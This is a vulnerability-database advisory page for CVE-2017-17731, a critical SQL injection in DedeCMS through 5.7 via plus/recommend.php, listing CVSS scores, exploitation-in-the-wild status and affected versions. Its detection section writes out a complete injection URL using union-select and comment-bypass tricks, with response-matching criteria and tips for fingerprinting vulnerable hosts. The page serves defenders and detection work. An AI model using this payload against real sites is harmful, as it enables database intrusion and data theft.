cbcvebase.
CVE-2017-17731
published 2017-12-18

CVE-2017-17731: DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.

PriorityP180critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
13.19%
95.9th percentile
DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.

Affected

1 ranges
VendorProductVersion rangeFixed in
dedecmsdedecms<= 5.7

Detection & IOCsextracted from sources · hover to see the quote

path/plus/recommend.php
url{{BaseURL}}/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,md5({{num}}),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
  • Exploit targets plus/recommend.php via GET request injecting SQL through the _FILES[type][tmp_name] query parameter using MySQL inline comment bypass (/*!50000union*//*!50000select*/) and backtick quoting.
  • Successful exploitation returns HTTP 200 with the MD5 hash of the probe value (999999999) reflected in the response body — match on md5(999999999) = '000b28f0a435842e4a36e3d9c6f5e6e5' in the response.
  • Shodan/FOFA fingerprinting: hunt for DedeCMS instances via HTML body keywords 'DedeCms', 'dedecms' or CPE cpe:2.3:a:dedecms:dedecms.

CVSS provenance

nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.